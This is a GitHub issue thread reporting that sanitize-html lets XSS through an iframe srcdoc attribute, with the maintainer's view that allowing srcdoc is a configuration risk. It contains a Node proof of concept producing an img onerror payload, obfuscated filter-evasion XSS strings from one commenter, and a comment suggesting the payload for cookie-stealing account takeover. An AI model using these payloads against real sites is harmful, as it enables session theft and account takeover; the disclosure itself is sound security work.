Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS through srcdoc attribute of iframe #217

Closed
iambrosie opened this issue Apr 5, 2018 · 13 comments
Closed

XSS through srcdoc attribute of iframe #217

iambrosie opened this issue Apr 5, 2018 · 13 comments

Comments

@iambrosie
Copy link

iambrosie commented Apr 5, 2018

Hi guys,

It seems that by allowing iframe tags together with the srcdoc attribute can lead to a bypass of the sanitizer. This can further be abused for XSS purposes.

Here's a PoC:

iambrosie@XXX:~/Documents/NodeThirdParty/SanitizeHTML$ cat index.js 
var sanitizeHtml = require('sanitize-html');

clean = sanitizeHtml('<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;"></iframe>', {
    allowedTags: [ 'iframe' ],
    allowedAttributes: {
        'iframe': ['srcdoc'],
    },
});

console.log(clean);

The output of running the above code snippet has been redirected into the contents of index.html:

iambrosie@XXX:~/Documents/NodeThirdParty/SanitizeHTML$ cat index.html
<iframe srcdoc="&lt;img src=x:x onerror=alert(1)&gt;"></iframe>

The index.html file was then opened in Firefox 52.6.0 (64-bit) on Linux, but the payload also executes in the latest stable build of Chrome 65.0.3325.181 (Official Build) (64-bit) on Windows.

ffxss

The sanitize-html version used is 1.18.2, together with node version 1.8.2.

Kind regards,
Ionut Ambrosie

@boutell
Copy link
Member

boutell commented Apr 5, 2018 via email

@iambrosie
Copy link
Author

Hi @boutell,

I fully agree with you: this is only possible only if the srcdoc attribute is allowed. I'm sorry for not emphasizing this enough.

However, I'm not sure about how healthy it is in the long run to make assumptions about the way users are going to use a product.

In this particular case, after a quick search, I found that Ghost developers might have made that assumption.
I haven't attempted to identify to what extent this renders them vulnerable to XSS or not, but I guess it proves my point.

Regards,
Ionut Ambrosie

@boutell
Copy link
Member

boutell commented Apr 9, 2018

Yes, I think it would not be a bc break if sanitize-html were to start sanitizing this attribute, because it does get treated as markup by the browser. Would be an easy PR to contribute...

@H-a-tht
Copy link

H-a-tht commented Sep 6, 2019

A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d">z <d3"<"/onclick="1>[confirm]"<">z
<d3/onmouseenter=[2].find(confirm)>z

<script y="><">/*"/ondblclick=`<`[confir\u006d``]>z click click

@boutell
Copy link
Member

boutell commented Sep 10, 2019

Would you mind putting that exploit in a gist? I think markdown has made a hash of it. Thanks!

@boutell
Copy link
Member

boutell commented Sep 10, 2019

Best thing of course would be a PR with a failing unit test.

@lecyberzilla
Copy link

<iframe srcdoc="<img src=x:x onerror=alert(1)>"></iframe>

@boutell
Copy link
Member

boutell commented Jun 25, 2020

Good example.

@boutell
Copy link
Member

boutell commented Jun 25, 2020

(I remain comfortable with inviting contributions on this one because allowing srcdoc it is obviously dangerous in the same way that allowing, say, onclick is dangerous. Maybe "it allows any HTML you want, as a string" is not quite as obvious as "it allows any JavaScript you want, as a string", but it is reasonable to expect folks to know that HTML can contain script tags. Still a good feature to have as a contribution though.)

@lecyberzilla
Copy link

<iframe srcdoc=">

></iframe> Use this for cookie stealing account takeover. Replace srcdoc value to your own xsshunter.com/app payload. Don't use it as it's my own.

@lecyberzilla
Copy link

Oh markdown.

<iframe srcdoc=IMG TAG PAYLOAD HERE></iframe> Use this for cookie stealing account takeover. Replace srcdoc value to your own xsshunter.com/app payload. Don't use it as it's my own.

@boutell
Copy link
Member

boutell commented Jun 30, 2020

Allowing "srcdoc" is like allowing "script", everyone should know it's dangerous (because it allows script inside it, for instance). Support for filtering srcdoc to the same standard as the rest of the document would be nice to have, but it's not a security hole, any more than the fact that you could allow "onclick" is a security hole. We don't allow either by default.

@stale
Copy link

stale bot commented Aug 29, 2020

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

@stale stale bot added the stale label Aug 29, 2020
@stale stale bot closed this as completed Sep 12, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants